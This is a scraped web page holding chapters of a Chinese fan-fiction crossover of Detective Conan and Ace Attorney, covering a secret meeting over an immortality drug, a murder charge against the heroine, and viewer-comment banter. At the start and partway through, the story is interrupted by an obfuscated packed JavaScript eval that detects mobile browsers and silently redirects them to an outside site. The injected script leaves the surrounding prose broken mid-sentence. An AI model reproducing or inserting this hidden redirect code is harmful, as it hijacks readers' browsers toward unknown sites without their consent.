;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12802551|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 来埋伏偷袭。说到底都是一样的原因——如果有办法让同会的男人全穿裙子,她倒是也无所谓了。退一万步说,我都不嫌弃他们穿裙子,他们为什么要质疑我穿裤子。但当牙琉雾人问她需不需要带个男伴去,她又否决了:“本来我穿这么多衣服就够麻烦了,再带个卧底过去,是嫌死的还不够快吗。” 拉娜唯当时这么发言,经过了一番思考,几乎觉得自己绝无可能反悔,没想到现在竟然隐隐懊悔起来。她看向房间里的另一个男人——那个在Doat刚进门就慌慌张张转头去看的人,松本俊一。我后悔了。拉娜唯心想,却不是后悔于应该带瓶威士忌过来做男伴,而是后悔于当时应该保下星野季沙的。她长的多么漂亮啊,放在这里比那个男的要好看千百倍。 镜头依旧忠实地记录着一切。赶路的镜头能放将近半分钟,又看不出这是谁,本身就暗自彰显了剧集编剧的野心。果然,当来客踏入门槛,镜头终于转为正拍—— 看清来人后,拉娜唯表情不变,但很想翻个白眼:装什么装。视角即刻先来到她这里,看见的来客,除去Doat,个个都戴着动物面具。 特么你们装什么装,还戴面具。信不信老娘直接变个鸟头出来给你们小刀拉辟谷开个大眼。然而即便腹诽至此,她的话语却没有任何出格之处。 “感谢各位的到来。”她的语气平静到了极点。 拉娜唯独自一人站在场中,这让动物园的来客有空观察她们。他并没有专门去记那个女人的长相,只记得她和印象中的许多西方人长得有点像,但恰恰好卡在了中西方都可以评鉴的美:她并不年轻了,或许到了四十岁,作为一个女人来说她个子不低。穿着一套颜色压的非常深但依然可以欣赏剪裁工艺的和服,她左手腕上戴着一条日产的烧银手镯,环绕其脖颈的是一条精美的金项链,项链上有个小盒子,像鸽子蛋那么大,就像是一锭未经打磨的巽他金块。她的双肩皮肤光滑,脖子长且优雅,头部匀称平衡且有曲线美。熠熠生辉。 所有这些印象都是在极其短暂的时间里产生的,因为这个女人很快也注意到了他,并抬头直视他的眼睛。他随即感到自己不得不赶快转身离去,当然他希望能再看她一眼,但就在这时,松本俊一开口,打断了他的心思。在寒暄这一部分,显然松本俊一要更为适应,而拉娜唯也乐的偷懒。只不过话说到最后,动物园方提出开始探讨,拉娜唯才叫停了他。 “现在还不过是一个预告。”她尽可能放轻了声音说,“我们的另外一位客人今天临时有事,会晚来。不过,他的确是一位贵客,值得我们这样提前准备。” 拉娜唯在目光中缓缓报出了那个名字。 “严徒海慈。” 因为到目前来说,她没有看到联动方在进入本世界后进行设定上的微调。看来是双方创作者商议决定,要么就不联动不出现,一旦出现就尽可能保持原装原设;所以不出意外的话,严徒海慈出现在TV剧集之后,当然也会保留他在游戏中的身份: 警察局局长。 一位优秀的实权派人物。在当地有着极高的声望,连裁判长也要敬畏三分。 话虽如此,却不能乐观地认为自己能联系上严徒海慈就算在和红方的博弈中占了上风。拉娜唯在介绍时,心思已经过了几百回。 首先,严徒海慈的人脉,准确来说应该算是牙琉雾人给的——当然她也想知道为什么牙琉雾人给出的人脉会是警察局局长严徒海慈而不是检事审议会的会长一柳万才之类的,她一度怀疑泥砖菜盘也有一个跟荒木庄一样的反派天堂屋唠嗑用,所以两个笑面虎聊到了一起——总之,这个人和她还不熟。 其次,官身不沾泥,哪怕严徒海慈已经答应前来会面,却不能保证他会不会在自己的承诺看起来不能兑现时反手把她送进去博得业绩。 最后……很少有作者会写邪恶胜过正义。当然,不是没有反派杀死正派,但二者显然不会划等号。而无论是江户川柯南还是成步堂龙一,他俩看起来,都非常、非常、非常的,命硬。 就算博得了严徒海慈做盟友,也未必不会被打包带走啊。 但是既然已经开始了计划,那就没有回头的道理。她想了想,在等待的空闲中,忽然心生一计,最终拨通了水无怜奈的电话。 50.黑暗,死亡,厄运的象征 【啥?严徒海慈????】 【我超????……不过也算对????】 【啥啊?啥啊???对啥啊对???我是跟TV的对泥砖菜盘没有任何认知求解答】 【没事玩游戏的也不清楚发生了啥,只知道复苏的逆转确实加入联动了,我今天也看到消息说这个DLC缀在三部末尾,但是游戏外情况一概不知】 【简单来说就是严徒海慈是泥砖菜盘一个DLC章节中的幕后大boss,出了名的难缠,虽然各位死小观众这阵子混论坛听到的名字大多数都是美柳千奈美或者牙琉雾人,但严徒海慈可不比这二位差,或者说根本不是一个赛道。千奈美和雾人属于是虽然性格十分恶劣道德非常败坏但脸实在太好看又弥补了这一点,人物魅力来自于性格加持;严徒海慈则应该和一柳万才、狩魔豪一桌,打他们真有种跟法律制度正面对决的感觉,太有压迫感了】 【至于一些场外因素,以及部分游戏粉丝感叹的“果然如此”,我个人认为是因为:复苏的逆转的真正创作时间其实是三部和四部期间,然而出于一些游戏内设定,导致只能将背景设置在一部结尾。现在在联动中将复苏的逆转调整到华丽的逆转之后,也只能说是“一切都回归了本来的样子”吧】 【不过我还挺好奇的。毕竟在原本的复苏的逆转中为了ban勾玉和灵媒,制作组调整了时间;死小的联动尚且可以再编一个借口绊住真宵和春美,但最重要的,能和成步堂打配合的御剑怎么处理?】 【华丽的逆转里御剑不是来了吗。成步堂掉下胧桥重感冒不能上场,他代替成步堂来和小冥打配合拖时间,现在可能还没走吧。】 【但是我记得逆转检事的时间段不就在叶樱院杀人案和逆四之间的一个月吗……】 【没事咱们咪酱能顶,打完华丽的逆转再打严徒海慈,打完严徒海慈马上坐飞机打逆转检事】 【妈呀,心情是咪酱这两天多睡几觉吧,毕竟逆转检事直接飞机上死人,咪酱在飞机上也没时间补觉落地就加班,挺好一个检察官作息快和卧底差不多了】 【混死小混多了突然见到这种时间线清晰明了的作品突然好不适应(毕竟半年=三十年不是很正常的事情吗】 【……一个月啊。哪怕是对于(不需要打逆转检事的)成步堂来说也相当紧急啊。而且考虑到逆四的剧情,难道后来成步堂的遭遇也有严徒海慈的一份报复吗?】 【??听起来好哈人,严徒海慈到底是个啥人啊】 【这位虽然只是个地方警察局局长,但是强龙难压地头蛇的道理放之四海而皆准啊。简单来说,哪怕不是所谓黑衣组织卧底安室透或者组织成员波本,哪怕是公安降谷零到了他的地界掏出证来办事,虽说不至于办不成,但大费周章是肯定的。】 【等会兄弟,咱们重置版透子哥红黑还没一撇呢(悲)】 【我去,忘了这茬了……那重置版红方官方高层能压阵的是……】 【真理????】 【他才多大啊!!!让他压严徒海慈我告你们虐童啊】 【那没办法嘛佑希的爸比死掉了……不然真理前面好歹还有个爸比可以挡一下】 【也不至于吧兄弟们,往好里想,真理也没惨到硬刚严徒海慈的地步……大伙是不是忘了他还有半个监护人。】 【哦对,松田ob太久大伙都快忘了……有说法的。退一万步说虽然松田看那个样子不太可能去搞政斗,但孩子受欺负了打电话过去他还是能撑腰的。】 【不过严徒海慈怎么见到阿莱塔了???他俩认识?】 【严徒海慈是阿莱塔上司?】 【不像啊。阿莱塔这种能力的要么孤狼要么就直属中央,不太可能认在这么一个地方官手下。反过来也不像,严徒海慈也不太可能算阿莱塔手下的成员,毕竟阿莱塔是外国人。让她干活做任务可以,但是培植自身的势力就不太可能了……更何况严徒海慈也不是会给别人干活的性格。没有官方制度的制约,私底下就更不可能形成从属关系。】 【所以说单凭这一点也没法看出来莱姐阵营啊。仔细想想,哪怕是铁红方有时候也得捏着鼻子跟严徒海慈合作。……不过这身和服真豪堪啊】 【她之前的表现还是挺红的吧,不是从黑波手上把佑希截下来了。】 【唉说起这个我就有话讲,本来以为成步堂能借华丽的逆转给联动这几位定个性,起码红黑明牌两个也好打,结果擦了个边不粘锅开跑了】 【最搞的难道不是舅舅党说TV里华丽的逆转压根没演完,其展现信息的水平相当于红黑篇之于绯色篇,后期会来一次大揭秘】 【我真以为自己听错了,哥们看个动漫也是有舅舅了,看这么多年动漫听过最抽象的一次挽尊】 【对标红黑篇?赤老师不还没死吗(】 【这版赤老师不太可能死了吧。毕竟本篇的剧情给大伙的感觉就是赤老师命巨硬无比,重置版搞假死谁都猜的到,真死了又是怨声载道,估计就把死亡戏份全删了】 【所谓对标红黑篇到底是哪种程度的对标?虽然现在大伙一提起红黑脑子里的第一印象都是秀一假死猫哥上号,但是脱离这最大的一点噱头,红黑篇其实相当于一次罗杰疑案……即叙诡,掌控观众视角的主角本人也参与了对观众的欺骗,而解密是直到绯色篇安室透的解释来完成的。难道这一次也是叙诡?那诡计的制作人是谁?还是柯南吗?所谓要揭露的诡计内幕究竟是关于什么的?又由谁来揭露?说实话我完全相信联动版华丽的逆转是一曲未完的乐章,真理在高菱屋与阿莱塔、贝尔摩德的交锋,直接没有解答,就这样悬在半空,他怎么脱身的谁也不知道;而阿莱塔又为什么要千里迢迢赶往叶樱院,为什么要把佑希从波本手上截下来,两个场地之间缺乏联系,一片空白,简直是真空。一定会——一定会有交代的。】 “明明是你啊。” 拉娜唯看到这里,一个声音忽然从她背后突兀地传来。她猛地回头,身体没有动,看起来相当可怕,比麦尔丝更不像人。鹰视狼顾,不是夸大的成语。她的眼中,绫里麦尔丝迷幻的面容在黑暗中散发着淡淡的光。她又重复了一遍: “那个给观众制定诡计的人,不就是你吗。” 即便观众的视角主要跟随江户川柯南和成步堂龙一,即使你现在依旧举步维艰夜半临深潭,然而给观众看什么,不都还是取决于你的意愿? 当然,红方还不至于什么都不知道。即便没有明说,然而佑希的家族血脉中有绫里一支的事实对于江户川柯南和成步堂龙一来说都已经是被公开的秘密,被解答的悬案,其程度不亚于绯色篇前但已经耍过大狙的猫哥,看着苏德签署不侵犯条约的波兰(什么)。而且这一回神乃木庄龙也难得的终于不再和成步堂较劲(大概是终于承认了成步堂的能力),给出了他难得做出的一次清明判断。把舟桥佑希送回绫里家。 他说。 彼时神乃木庄龙早已认罪伏法,给他的判决是过失致人死亡,但考虑到神乃木庄龙的身体情况,他时日无多,大概很快就会和千寻见面。他到了这个地步,头脑反而异常的清醒,知道人有时候不必看到结局,不必追根究底。他说知道佑希的父亲死的蹊跷,但她要保全自身最好的办法却是躲进绫里家,直到她成人后才能放出来。这种成人并非生理上的成人(佑希好歹也十七了关一年就放出来不白关了吗),而是社会意义上的有立锥之地。然而这话他没有亲口对佑希说。他最后见的人并非是绫里家族的任何人,甚至也不肯见成步堂,因为不希望将临死前憔悴的面容暴露给熟识的人,却见了江户川柯南。人对于孩子总能放下芥蒂。他把这句话转告给江户川柯南,二人其实算得上是达成共识,毕竟工藤新一也是信奉爱她就经量把她隔绝在安全区的理念。而就在他们交流期间,舟桥佑希忽然被人找过来。她转过头,绫里真宵站在她背后。 准确来说,并不是“绫里真宵”,而是绫里千寻。 这位优秀的律师生前死后都在为亲友保驾护航,此时借用妹妹的身躯来找她,不会是无的放矢。只是没想到这么快。绫里千寻的容貌依旧,即便徒弟和妹妹都有所长进,眉宇多了几分沉稳,千寻却分毫不变,宛若泛黄的照片中凝固的光线。绫里千寻轻快地说: “不用听前辈的。” 她补充道:“我见到了母亲。” 绫里舞子。舟桥佑希想起那个女人,她奔向叶樱院内院时的背影在火光之中,从自己的指缝中溜走了。但却是自己亲手放任她去死。这是她这辈子头一次决心保护别人,已经是人生中浓墨重彩的一笔,甚至于还没有救下来,更加不能释怀。如今出现在头脑里,异常清晰。明明知道绫里舞子不会因此而报复她,她什么都不知道,舟桥佑希却还是抖了一下。这没有被绫里千寻错过,只不过代表不了什么,于是装作没有看见。 “母亲认为你没有逃避的理由。在她看来,你一生的谜题宛若一场过境的暴风雨……你只能捉住现在。你被选中在现在解开一切的因果,无憾地活下去——或者死去。过了这个年纪之后,你当然不至庸碌一生——你是一个非常优秀非常聪明的女孩子。我们都看得出来。你已经拥有了应战暴风雨的本领,然而暴风雨却不会永生永世地在那里。这就是命运。而你被命运选中了。” “这还不够吗?” 另一个更年轻也更熟悉的声音传了过来。舟桥佑希望过去,认出红子。她直直朝着佑希走来,一拨头发,宣布:“我看了你的未来,代路西法之名在此做出预言。在‘渚’(水中的陆地)之上,你同时遇见了此生最伟大的敌人和命脉相连同死共生的盟友。” 她言之凿凿。舟桥佑希当时听到这里,只觉得还好这次没有说出诸如光之魔人两万钟声之类的肉麻话否则便样衰了,她自己虽然也不排斥看见这种富有弦外之音的描述,但尤其过敏于用在自己身上。这种庆幸没有超过两秒,她感到了稍纵即逝的疑惑。这一缕思绪即将成型的瞬间,被一个突如其来的声音打碎,方才的绫里千寻不知什么时候已经从真宵的身上下来,此时这位年轻活泼(并且很爱吃拉面)的少女一把握住舟桥佑希的手:“所以说啊,你答应代替我去了吗?” ? 小泉红子看舟桥佑希脸上跟弹了一个contains an incorrect path的弹窗一样,懒懒散散地补充说明:“前面懒得解释了,总之绫里真宵现在是绫里家的掌门,但是她姐姐不肯让她过早接触家族,真宵自己也没有那个心思,于是问你愿不愿意代劳。其实也就是当个吉祥物开开会而已,多的事自有人家自己家的人帮忙打点,也不可能放心让你干的。不说话?不说话算你答应了。”她眯了眯眼,语气中一直隐隐约约萦绕着的无端的喜悦停滞片刻,忽然凑上前来,“你那是什么表情?” 舟桥佑希指着自己:“我?我一个姓舟桥的去帮绫里家开会?” “那也没关系的吧?”绫里真宵非常顺畅地接过话头,表情非常天真,说话非常直接,“难道现在还有人不知道你是绫里家的人吗?” 真宵掰着手指可汗大点兵:“知道佑希应该姓绫里的,知道叶樱院那个姓江户川的小男孩其实是工藤新一的,知道基德其实是江古田的高中生的,三伙人拉出来都够从大江户战士拍到女将军小江户战士了……不对,这三伙人大部分还是重复的。”美少女灵媒师在线把死小片场全体爆马,舟桥佑希一度汗流浃背,心想直接观测灵魂就是强啊。真宵左问问爱尔兰右找找宫野夫妇,何愁大事不成。还好我(指拉娜唯)从来不刀人,活人对我讳莫如深死人对我守口如瓶。但想了想反正真宵即将离开修行,下次归来是九年以后,想爆就爆吧随便她了。这段当然被加进TV动画里了,半透明的弹幕现在就在舟桥佑希的余光里刷刷刷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12941607|121598||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的跑。 只是即便绫里真宵的口吻如此轻快,舟桥佑希也不能把一切当儿戏一般接下来。她犹豫了一瞬,想到的却是即便自己活了几百岁,也从没有掌控过荷兰那片土地上家族的生息。口中只是继续重复:“……你真的要推开掌门的位置?” 绫里真宵笑了笑:“我什么时候说过要推开了?只是我没有做好准备,姐姐也觉得我没有罢了。所以我要继续修行。”她伸出手,从脖子上解下勾玉,“你看。” 勾玉在暗处发着微微的光。看起来好像非常温润。虽然有一些年头,却没有一丝磕碰,一直以来都被人用心爱护着。舟桥佑希非常非常不合时宜地想起来另一回事:诚然人和人的心意本来就不能被量化地比较,但大多数人印象中毛利兰拿着按键机守了十几年,放在世界观里其实只有半年。绫里真宵从游戏第一部姐姐身亡后就接手姐姐的勾玉,几部下来立绘没有变化,以至于三年的时间也变得不显山不露水,隐没在雾气中。 “这是姐姐留给我的勾玉。”真宵的声音把她拽回现实,“对于绫里家的族人们来说,这是斗争的战利品;对于普通人而言,这是很有价值的文玩;对于成步堂哥来说,这是有助于他找出真相维护正义的权杖;对于你来说,大概只是一个女孩最普通的饰品而已。而它对我来说,是姐姐遗留给我的世界上最后的爱。” 舟桥佑希由衷地赞叹:“那很不错。” 绫里真宵却摇头:“但是这还不够。如果我只是一个普通的女孩,姐姐也只是普通人的话,这当然没问题。然而,在这勾玉的背后,是无数绫里家族斗争的牺牲者。有我的血脉同胞,有无辜受牵的寻常人。千寻姐,神乃木先生,勇希小姐,尾并田美散,吞田菊三……乃至大学时的成步堂龙一。倘若我看不到他们的鲜血,只能看见姐姐的爱的话,无疑是一种失职。我会是绫里家的掌门,命运如此。所以我也只能,做一个更好一些的……” 难怪她是女主呢。舟桥佑希静静听她讲完,倒不至于年轻到心潮澎湃,只是看着绫里真宵把勾玉戴回脖子上,反手又递给她另一块,另起话头:“就算大家都心知肚明你的身份,你也得有一个才可以。” “这算你借给我的吗?”总不能进群发的吧。 绫里真宵眨了眨眼:“算是吧。不过,不还也无所谓?反正成步堂哥可不像你一样,他从来没对我提起要还的事。真是厚脸皮啊……” 成步堂?舟桥佑希捕捉到关键词,反问:“这是成步堂律师之前佩戴的那个?”怪不得眼熟。他用这个讯问我,而我跟他耍了一个小小的诡计。 “嗯。是我的啊。”真宵说,“我把它拿了回来。” “就这么拿回来了?那成步堂律师用什么?” 绫里真宵理所应当地说:“他是律师啊?又不是法师,为什么非要勾玉不可?现在它和绫里家,都一并交给你。” “他学法怎么不是法师。” 【。】 【我受不了了】 【佑希宝宝你哎呀!年纪轻轻怎么也染上讲谐音梗冷笑话的毛病了】 【——!!!原来联动版复苏的逆转里是这样ban掉勾玉的吗??】 【原来给佑希了啊。】 【给佑希应该算软ban吧,真宵带着走就是硬ban了。佑希好歹在国内,成步堂只要不当法庭地缚灵应该还能借到勾玉?】 【……等一下佑希虽然带着绫里家的血统但是亲友全在死小魔快片场啊。】 【?怎么了吗】 【魔快就算了,就凭死小片场人均套娃还0法抗,佑希拿着勾玉读心要杀穿了啊!!!】 【。哦不】 【哦不】 【恭迎新女主(恭敬起身)】 【咋了这个版本又开始抬法师了???那我练的侦探这一块谁给我补啊?】 【去修机吧,6鬼怕你6不明白绑在椅子上飞走了】 【都说了选警察,管你打物伤还是法伤都是万能拐】 从弹幕中抽出意识,回过神来,真宵不知道什么时候已经把勾玉帮佑希戴到脖子上,不再说话。她们对视了一眼,从这一刻,有一个共识缓缓地浮出水面。绫里真宵就这样离开了,她转身时是黄昏时分。 小泉红子看着她离开,对舟桥佑希说小话:“她看起来的确不像个掌门。绫里真宵看起来完全就是小孩子嘛!” 舟桥佑希没有接她的话,岔开话题:“你今天为什么要来找我啊。” “?我刚才没说?” “?你说啥了?” “当然是你要开的那个会我也得去啊!”小泉红子像被踩了尾巴的猫一样回看回来。 “所以你是你家的掌门?”舟桥佑希冷静地追问。 “除了我他们还能选出别的继承人吗?” “……那你刚才说真宵是小孩子……” “?难道她不是?” “她二十了。”而且下一次见面时就该29了。舟桥佑希冷静地在心里补充,出走半生,归来仍是被告人。 “二十岁了还把责任丢给你!”小泉红子撇了撇嘴,“好吧。但是,我的预言并没有出错。掌门最后还会是她。不过我对你的预言也不是空穴来风啊……你就像有天命选择一样。” 当时舟桥佑希心里只想着完蛋了咋的魔快主角真要易主了快斗出来救一下啊快斗,以至于其他的什么不妥之处没有注意。眼下终于有空整理思绪,思及至此,拉娜唯反倒对着黑暗中的绫里麦尔丝丢下一个不清不楚的问题。她说:“你就是那个天命吗?” 绫里麦尔丝轻轻笑了一下,什么都没说,忽地隐没在黑暗中,如同哄骗过鲁道夫造反后的死神消失在幕布之后。黑暗之中只剩淡淡发着光的屏幕,上面依旧在不停划过字迹。抬眼一看,好像有一行说的是之前首映礼上那个快斗推最近身体不错,可能又可以来追线下了。 51.伊夫城的爱德蒙。 在一如既往的早间新闻中,忽然插入了一段非常急迫的报道。画面中的女记者容貌姣好又带着几分英气,一双明亮的蓝色猫眼注视着镜头,黑发梳的整整齐齐,唯有几缕蜷曲的刘海坠下来,不显凌乱而更添灵动。电视台导播室中几十台屏幕放映着同样的画面,如同果蝇的复眼,将时间均等地切割。工作人员被这突然事件打了个措手不及,一片混乱。而几十个屏幕中,女记者水无怜奈宣告一般吐出了同一句话: “近日,于财阀松本俊一家中举行的私人派对中发生一极其恶劣的杀人案……” 镜头伴随着快门声转向另一个人,他的声音先闯入人们的耳朵:“我们已确认了嫌疑人,而此名嫌疑人现在正由检事局扣留,择日即将开庭。望还给社会大众一个满意的交代,将凶手逮捕归案绳之以法。” 说话人身穿一身红色西装,有着惊人长度的棕色胡子和头发。倘若令不明真相的人来看,大概会以为这是哪里的野人。然而这位当然不是野人,而是原地方检事局局长,时任检事审议会会长的一柳万才。再之后的记者提问中,一柳万才均给出完美的作答,令人无可指摘;然而越是这样,越令此刻新闻的收看者颇感压力。 她皱了皱眉,关闭平板。车上的颠簸虽不剧烈,长久下来也并不舒服。她的司机——同时也是她分居多年的丈夫,毛利小五郎,偷感很重地从后视镜里看了一眼,打眼色给女儿,要女儿去关心一下她的亲妈,自己不好开口。毛利兰会意。她的确十分贴心,然而妃英理女士此时需要的比起一个贴心的女儿,大约更需要一个能够和她一起沟通案情的同僚。而此时唯一能和她交流的孩子倒在车上,可惜碍于身份,我们的男主江户川柯南实在不便开口。车上保持着这样的气氛行至检事局拘留所,看清玻璃对面的那个人时,有些意外并隐隐惭愧地发现,自己的委托人似乎比他们更镇定。这实在是太不专业了。妃英理心想。 她深呼吸后,坐到玻璃对面,与她的委托人面对面。 “我是你的律师。舟桥佑希小姐。” 她的委托人非常平静,好像在心底排演过千万次这次会面,每个环节都了然于胸:“很高兴遇见您。妃英理律师。”舟桥佑希回答她。 同时,不同于面上的平淡,她的心中简直是惊涛骇浪。特么的,真不该接真宵的勾玉。致敬传奇耐抓王绫里真宵。 事情要从小泉红子发起邀请说起。有一个常识是一个庞大的财阀不会一枝独秀地屹立在不去他的土地上,而是与其他家族缠绕纠葛,包括但不限于其他的行当,黑白灰通吃是一个非常常见的现象。而拉娜唯这次抛出的诱饵又实在是太大太大了,牙琉雾人说要她用自己从荷兰带来的药——一死一活的不老药来吸引别人。——多么可怕的诱饵!死神是世界上最公平的判决,既倾轧皇帝的寝宫,也掀翻农民的稻草房。无论你是干什么的,都难逃一死。而人越老越惜命。十八岁时对着镜子发誓要在第一条皱纹长出来就去死的美女,到了四十岁的时候也只会拼尽全力延缓衰老,八十岁面对死神的召唤时更是不能甘心。所以在面对不死药的时候,能忍住一秒不咬的都是神人了(喂)。这是一场豪赌,显而易见。如果在她得到支持之前被乌丸莲耶发现,她就很有可能被直接摁死;但过早地接触其他势力,又不一定能保全自身。这是万米高空走钢丝,需要斡旋。 于是在第一次,小规模的会谈(包括提供药的拉娜唯,提供资金的松本,手续上保驾护航的动物园内的社会高层,期权股严徒海慈)结束后,松本俊一又召集了他的人脉,来增加客户——毕竟现在是他和拉娜唯对接。假如一次交易他能获利一亿日元,三十个客户参与就是三十亿,多的每一个人头在他眼里都变成了一沓沓钞票。而小泉红子和舟桥佑希就是这样被叫来的。 由此见得日玄世家绫里家不怎么相信不老药,毕竟把舟桥佑希这个便宜捡的外家女孩丢出去开会,有点像唐朝随便捡一个女官封公主就和亲;然而西玄世家却很可能听闻过一点点,于是派出红子,这位未来的继承人——这是符合逻辑的。毕竟不死药是炼金产品,本质上的确源于西欧。 开会很没意思。 不过很快就有意思了。 Bigman们消息灵通,知道桌上这两个女孩似乎一样的年轻,然而在各自的家族中含金量可不同。于是对于舟桥佑希悄悄看漫画的行为睁一只眼闭一只眼,被迫接受各路家主掌门凝视而自愿端坐的小泉红子则对其报以怒视。很快到了观察药品实物的时间,你说你得到了不老药,至少要给大家看看效果。有几个一看态度不错的可以去看,比方说小泉红子。舟桥佑希则自动被划分到这个集团之外,她心态平衡,知道绫里家的生死观相当神奇,反正死了也可以灵媒,对长生不老不怎么有执念,也乐得清闲。她刚想继续看漫画,拉灯了。 “然后我就坐在这里了。” 舟桥佑希竹筒倒豆子一样噼里啪啦地把自己知道的一切全说了一遍,连同各个家族的内幕也没放过(连红子家的都没放过,主打一个心灵澄澈),为了脱罪她真的不择手段所以让让她吧。在她对面坐着的倒不是妃英理律师。时间回拨半天,第一个赶到拘留所的,是松田阵平。 身边还飘着一个只有小灵媒舟桥佑希能看见的鬼。姐都被抓起来了你俩还跟连体婴一样,有没有良心。舟桥佑希死亡微笑地直视萩原研二,被宫野明美拍拍背揉揉脸,好声好气地安慰她说你的消息现在还被媒体封锁中,萩原警官一定帮你叫了松田警官才会这么及时来找你的,好啦不生气不生气,看在温柔姐姐的面子上舟桥佑希以迅雷不及掩耳的速度啪闪现一个中指又撤回,给萩原研二整笑了,心说她这么有活力说明没受磋磨,好事。与此同时松田阵平在玻璃对面看着舟桥佑希一阵酣畅淋漓的无实物表演,心想完了孩子要疯了我要带她越狱!(什么玩意) 这之后的事松田阵平默认舟桥佑希不清楚,于是又给她简单介绍了一下现在的情况: “……在你昏迷期间,松本家发生了一起命案。按照你说的,松本俊一在结束了会谈后邀请同会者一同去参与药剂的实验结果展示,他当时是亲自去的吗?” 舟桥佑希摇摇头:“不是。他叫他的秘书野田宗生去陪同,而他本人则留在会议室陪同我们这些暂时没有意向的人。” “这好怪。明明那些有意向的人才是他的主要客户吧。” “这不怪哦。”舟桥佑希纠正他,“因为我只是‘暂时’没有意向,不代表以后没有意向。他现在就对我们非常严重的区别对待的话,等于只做一单生意,竭泽而渔。当然一般来说这种私下的活动都是家主的夫人或者女眷来参与,但松本俊一更信任的是他的秘书。” 松田阵平手撑着头,说:“这些我不明白。” “不明白是好事。”舟桥佑希说,“总之,在我失去意识之前,他都和我在同一个会议室。”她看着松田阵平脸上的表情,问:“……是对辩护很没有帮助的证据吧。” “何止……简直是坐实了你的罪证。”松田阵平说,“在会议室内的监控拍到了你浑身是血,手持尖刀的录像,只不过没有拍到受害者。我一开始想要论证的观点是,松本俊一的第一案发现场另有地点,但直到你失去意识之前他都和你共处一室。而这个房间,显然,又是一个密室。” 得知这个消息,舟桥佑希倒十分冷静,她坚决地问:“我想看录像。能不能给我看看录像?” 松田阵平没有丝毫迟疑,嘴上相当大声地(说给拘留所看守):“原则上不让。”同时手机就贴在了玻璃上。舟桥佑希费劲地隔着几层屏幕看去,自己的身形有一瞬间的脱力,然后倒在了椅背上。松本俊一看了看,手脚还算干净地把自己抱到了一旁的沙发上。就在他放下舟桥佑希,转过身时,沙发上的女孩忽然腾地站了起来,抓起一旁桌子上的水果刀就照着松本俊一的背捅了过去。连刺十几刀,极其凶狠。整个杀人现场就这样血淋淋地在镜头下坦露无疑,无从抵赖。 “重放一下。” 松田阵平依言。他拖动进度条,放慢倍速又让舟桥佑希看了好几遍,对面的女孩仿佛犹豫了很久,终于下了结论: “……那不是我。那似乎是星野季沙。” 松田阵平抬起眼:“我也认出是她。虽然你们都是女性,但她岁数比你大,个子高一点……你在一瞬间改变了外貌,这种情况就像你灵媒萩的时候一模一样。如果是她的话,那么动机充分,理由充足。死去的女鬼报复负心汉,甚至很合乎人们的品味,简直是最完美的结案。但是,你真的灵媒了吗?” 舟桥佑希说:“我没有。” 场面陷入了短暂的沉默。先打破沉默的其实是宫野明美。她看起来虽然最柔弱,但却是这四个人里履历最黑的(这很令人骄傲吗),有些迟疑地问佑希:“……为什么不直接认下,就说是死去的亡魂,星野季沙犯下的罪行呢……” 宫野明美从前并不知道松本俊一与星野季沙之间的瓜葛,如今却知道了——这并不是因为做了鬼就开了天眼,而是当时那艘船上的恩怨纠葛如今被堂而皇之地展现在了大众面前——报道这一切的依旧是水无怜奈。这些天她的名字与该案紧密绑定,俨然已经变成了松本家杀人案的官方指定记者,无论什么平台的消息来源几乎都出自她的口中。当松本俊一对星野季沙的始乱终弃被曝光,无论是谁,先前听说过没听说过的,都要过来蹭一脚,愈演愈烈。就在这样的情况下,宫野明美在知晓其中奥秘后,也秉持着混沌的善良与邪恶下意识地认为舟桥佑希先认下灵媒星野季沙,把杀人案推到死人身上最为合宜。死人不作数,很难有人为死人翻案,是最安全的抉择了。反正,死去的人也不无辜,而无辜受过的却是我的朋友;比起花大力气追寻虚无缥缈的真相,偶尔抄小道有何不可呢?而且不过是死人蒙冤,代价已经小的不能再小啦…… 舟桥佑希猜宫野明美是这样想的,或者说这世界上绝大多数的普通人都会这样想。感情的远近一定程度上凌驾了道义与法律,这就是一个人的天性,我们无从指摘。但是,对方利用的就是人的天性。这一招简直避无可避,防不胜防。 还好我不是人啊。 舟桥佑希吸了一口气,为宫野明美解释道:“因为事实并非如此——这就是原因。这个世界上最坚固的永远都是真相,而谎言是无根之木,一定会有断流的地方。比方说,我现在在法庭上,咬死了是自己灵媒了星野季沙。研二,你来做检察官。明美,你是我的辩护律师。” 对面的阳光男鬼笑眯眯地拖长音“好——”,松田阵平看着舟桥佑希又开始无实物表演,觉得自己被孤立了,很不爽,“为什么不让我来当?” “拆穿人的谎言的话,还是您的幼驯染厉害啊。”舟桥佑希把话头堵回去,马不停蹄地虚拟开庭,“现在我坚持是自己灵媒了星野季沙,是星野季沙犯下了杀人案。好了,明美,辩护吧。” 宫野明美稍微思考了一下,说:“我们的被告人声称她通过灵媒唤来了亡灵星野季沙。众所周知星野季沙与松本俊一产生过纠纷,所以星野季沙的杀人动机成立,罪行不是我们的被告人犯下的,”在等对方异议的时候,宫野明美也想过自己会被怎么质疑。被质疑星野季沙和松本俊一之间的关系?我有新闻报道;是质疑佑希当时是否处于灵媒状态?我有录像……她这样考虑时,萩原研二却沉默片刻,剑走偏锋:“那么,我们的被告人从什么途径了解到星野季沙和松本俊一之间的关系呢?” 宫野明美望向舟桥佑希,对方诚实地说:“是在船上。” “总而言之,是有人可以证明她出现过的对吧?” 没人问他,松田阵平举手:“我可以证明。” 